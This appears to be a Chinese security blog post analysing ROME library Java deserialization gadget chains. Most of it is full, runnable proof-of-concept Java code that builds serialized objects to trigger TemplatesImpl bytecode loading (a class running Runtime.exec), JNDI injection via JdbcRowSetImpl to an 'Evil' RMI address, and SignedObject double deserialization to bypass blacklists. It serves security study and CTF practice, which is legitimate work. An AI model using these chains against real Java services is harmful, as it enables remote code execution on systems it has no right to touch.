ROME反序列化
前置知识:TemplatesImpl
任意类加载、JNDI注入
简介
ROME库支持将Java对象转换成xml数据,同时也支持将xml数据转换成Java对象。
环境依赖
1 2 3 4 5
| <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>
|
ROME提供了toStringBean
类,可以利用toString
方法对Java Bean进行操作。而这里面的toString
方法就是ROME反序列化漏洞调用链的关键之一。
任意类加载
在toString
当中能调用到任意的getter,而我们TemplatesImpl
类的任意类加载正是利用了getOutputProperties()
这一getter。
BeanIntrospector.getPropertyDescriptors
之后会在下面循环调用获取到的getter方法进行反射调用,所以如果ToStringBean
的_beanClass
是Templates
的话,那么在获取getter的时候就可以获取到getOutputProperties
方法来反射调用,从而触发TemplatesImpl
类的任意类加载。
所以现在问题的关键就在于如何在反序列化的过程中调用ToStringBean.toString()
,也就是说要找到一个可以从readObject
到toString
的路径。
可以做一个测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| ROMEtoStringTest.java package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.nio.file.Files; import java.nio.file.Paths; import java.lang.reflect.Field;
public class ROMEtoStringTest { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates); toStringBean.toString(); }
private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj,value); } }
shell.java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class shell extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public shell() throws IOException { try { Runtime.getRuntime().exec("calc"); }catch (Exception e){ e.printStackTrace(); } } }
|
EqualsBean
在ROME中有一个EqualsBean
类,他从在这样一条调用链:hashCode
–>beanHashCode
–>_obj.toString()
,这里的_obj
是EqualsBean
的一个可控的成员变量。那么到这里我们就可以联想到HashMap
在反序列化的时候就会调用到hashCode
,这里也就可以接上去了。
POC如下:
需要注意的是在序列化之前为了防止提前触发任意类加载,toStringBean
的_obj
要在hashMap.put
之后再通过反射进行赋值,因此这里new ToStringBean
的时候会先把new ConstantTransformer(1)
塞进去,需在再加一个依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.1</version> </dependency> package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; import java.lang.reflect.Field; import java.util.HashMap;
public class EqualsBeanTest { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123"); setValue(toStringBean,"_obj",templates); serialize(hashMap); unserialize("ser1.bin");
}
private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj,value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
ObjectBean
这个类在他的hashCode()
里面调用了_equalsBean.beanHashCode()
,那么他其实就相当于EqualsBean
的hashCode
:
所以POC也只需要把EqualsBean
的改一下就好了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123"); setValue(toStringBean,"_obj",templates); serialize(hashMap); unserialize("ser.bin"); }
|
HashTable
前面都是HashMap
的hashCode()
入口来调用到Java Bean对象中的方法,从而导致后面的任意类加载,如果HashMap
被禁用了之后,是否还有替代品呢?答案是有的,那就是HashTable
。在HashTable
的readObject
中调用了reconstitutionPut
来对每一个键值对进行处理:
而在reconstitutionPut
中就对key
调用了hashCode
,那么这里就接上了,如果key
是EqualsBean
或ObjectBean
的话,那么整条链子也就能接上了。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable<Object,Object> hashtable = new Hashtable<>(); hashtable.put(objectBean,"aaa"); setValue(toStringBean,"_obj",templates); serialize(hashtable); unserialize("ser.bin"); }
|
BadAttributeValueExpException
前面TostringBean
中要调用toString
是通过hashCode
来进行调用的,其实说到toString
会让人想起CC5的BadAttributeValueExpException
:
它在readObject
的时候就会调用valObj.toString
,valObj
其实就是可控对象成员val
,把它的值设为toStringBean
岂不就成了。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException,toStringBean); setValue(toStringBean,"_obj",templates); serialize(badAttributeValueExpException); unserialize("ser.bin"); }
|
HotSwappableTargetSource
整条链子会稍微复杂一点,前面是CC6的HashMap
之后是接了一段XString
再触发ToStringBean
的toString
。首先是XString
的equals
,如果对比的变量是Object
类型的话就会调用以下函数:
我们可以看到只要obj2
不是null
,其类型不是XNodeSet
或XNumber
的话,那么就会调用到obj2.toString
,只要obj2
是ToStringBean
的话就可以接上后面的链子。而equals
函数的调用可以看到springframework的HotSwappableTargetSource
:
它的equal
会调用成员变量target
的equals
方法。那么熟悉的就来了,HashMap
的readObject
会调用putVal
从而触发equals
,这样整条链子也就串起来了。
具体而言,HashMap
的putVal
是一个添加元素函数,在把键值对放入HashMap
的时候会检查待插入元素是不是已有的内容,所以就会比较hash
和key
是否相同,在这个时候就会拿table中p结点的key
(在代码中为k
)和要插入的key
做比较,调用的是后者的equals
函数,前者作为参数输入。套到HotSwappableTargetSource
的equals
,k
对应的就是other
,key
对应的就是this
,在函数中this.target.equals(((HotSwappableTargetSource) other).target)
,其实就是key.target.equals(k.target)
,为了能够调用到前面XStrting
的equals
并触发任意类加载,那么k.target
就必须得是ToStringBean
类型,key.target
就必须得是XString
类型。那么带有ToStringBean
的HotSwappableTargetSource
对象实例应该先put
到HashMap
中,随后在把带有XString
的HotSwappableTargetSource
对象实例put
进去。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx")); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(h1,"h1"); hashMap.put(h2,"h2"); setValue(toStringBean,"_obj",templates); serialize(hashMap); unserialize("ser.bin"); }
|
JdbcRowSetImpl
由最开始我们知道,ToStringBean
的问题就处在了toString
函数中回去遍历反射调用获取到的getter,而众所周知除了TemplatesImpl
的getter方法getOutputProperties
会触发任意类加载外,还有JdbcRowSetImpl
的getter方法getDatabaseMetaData
会触发JNDI注入:
getDatabaseMetaData
中调用的connect
函数:
在connect
中就会触发InitialContext
的lookup
,而dataSource
是可控的,因此就可以通过RMI或者LDAP协议加载远程恶意类。
当然这个方法有一定的限制,那就是trustURLCodebase
,目前有效的版本只有:
- RMI:
JDK 6u132
、JDK 7u122
、JDK 8u113
之前
- LDAP:
JDK 7u201
、8u191
、6u211
、JDK 11.0.1
之前
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/Evil");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,new ConstantTransformer(1)); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123"); setValue(toStringBean,"_obj",jdbcRowSet); serialize(hashMap); unserialize("ser.bin"); }
|
当然,这一段也可以和前面其他的片段进行拼接。
SignedObject
由于ToStringBean.toString
的getter循环获取及反射调用,导致可以去找能够到达sink的getter来进行利用,java.security.SignedObject
就是第三个可以利用的点:
在getObject
中,调用了readObject
,内容则是来自可控的成员变量content
,那么再次就可以造成二次序列化,将序列化之后的字节数组放入content
中,在反序列化过程中就会再将content
中的内容拿出来反序列化一次,这样就可以绕过反序列化入口处的黑名单限制。
那么我们就来看看SignedObject
的构造函数:
只需要把我们要二次序列化的对象塞进去就可以了,它会自动帮我们进行序列化并转为字节数组,需要注意的是后面两个参数也要塞东西防止出错导致构造失败。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import org.apache.commons.collections4.functors.ConstantTransformer; import java.security.interfaces.DSAParams; import java.security.interfaces.DSAPrivateKey; import java.security.*;
import javax.xml.transform.Templates; import java.io.*; import java.math.BigInteger; import java.nio.file.Files; import java.nio.file.Paths; import java.lang.reflect.Field;
import java.util.HashMap;
public class SignedObjectTest { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123"); setValue(toStringBean,"_obj",templates);
SignedObject signedObject = makeSObj(hashMap); ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,"1"); EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(equalsBean1,"123"); setValue(toStringBean1,"_obj",signedObject); serialize(hashMap1); unserialize("ser.bin");
} public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException{ return new SignedObject((Serializable) o, new DSAPrivateKey() { @Override public DSAParams getParams() { return null; }
@Override public String getAlgorithm() { return null; }
@Override public String getFormat() { return null; }
@Override public byte[] getEncoded() { return new byte[0]; }
@Override public BigInteger getX() { return null; } }, new Signature("1") { @Override protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override protected void engineUpdate(byte b) throws SignatureException {
}
@Override protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override protected byte[] engineSign() throws SignatureException { return new byte[0]; }
@Override protected boolean engineVerify(byte[] sigBytes) throws SignatureException { return false; }
@Override protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override protected Object engineGetParameter(String param) throws InvalidParameterException { return null; } } ); } private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj,value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
不依赖ToStringBean
可以看到,前面列出的诸多方法都是依赖于ToStringBean
的toString
方法对于getter的循环反射调用,那么如果可以有其他的类也存在这样的功能的话就可以代替它。这就不得不提到前面的EqualsBean
了,它有一个beanEquals
方法如下:
要求this._obj
和obj
的值不为null
,而且_beanClass.isInstance(bean2)
要为真,也就是bean2
要属于_beanClass
类或其子类,这是如果使用任意类加载的话就会出错,因为com.sun.org.apache.xalan.internal.xsltc.compiler.Template
和com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
显然不满足条件,这里也就只能用SignedObject
的二次反序列化了。之后就可以走到循环获取getter并反射调用的逻辑了,this._obj
可以通过构造函数或者反射来进行赋值,而obj
是传进来的参数,往回查一下调用情况,发现EqualsBean
的equals
调用了它,obj
也是参数直接传进来的:
说到equals
又回到了我们熟悉的话题,首先考虑HashMap
在反序列化的时候会调用putVal
,在putVal
中调用key.equals(k)
,按照HotSwappableTargetSource
在构造方法最后就能调用到EqualsBean
的beanEquals
,但是这时候obj
的类型会是EquslsBean
,无法进入到getter的逻辑:
所以考虑另外一条路:Hashtable
,他在readObject
的时候会调用reconstitutionPut
:
e
是从tag
中来的,如果tag
为空时就会传入key
和value
。如果tag
不为空,就会先判断(e.hash == hash) && e.key.equals(key)
,这里可以利用哈希碰撞绕过哈希判断,之后就会调用e.key.equals(key)
,而HashMap
继承了AbstractMap
,因此e.key.equals(key)
就会调用到AbstractMap
的equals
:
在equals
中会调用value.equals(m.get(key))
,如果value
为EqualsBean
,m.get(key)
为SignedObject
,那么就可以触发二次反序列化了。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123"); setValue(toStringBean,"_obj",templates);
SignedObject signedObject = makeSObj(hashMap); SignedObject signedObject1 = makeSObj(null); EqualsBean equalsBean1 = new EqualsBean(String.class,"1");
HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put("yy",equalsBean1); hashMap1.put("zZ",signedObject); HashMap<Object,Object> hashMap2 = new HashMap<>(); hashMap2.put("zZ",equalsBean1); hashMap2.put("yy",signedObject);
Hashtable hashtable = new Hashtable<>(); hashtable.put(hashMap1,"a"); hashtable.put(hashMap2,"b");
setValue(equalsBean1,"_beanClass",SignedObject.class); setValue(equalsBean1,"_obj",signedObject1);
serialize(hashtable); unserialize("ser.bin");
}
|
实验代码及调用链路图:https://github.com/hututu2/Java-Study
参考链接:
https://goodapple.top/archives/1145
https://xz.aliyun.com/t/13104
https://xz.aliyun.com/t/12768
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com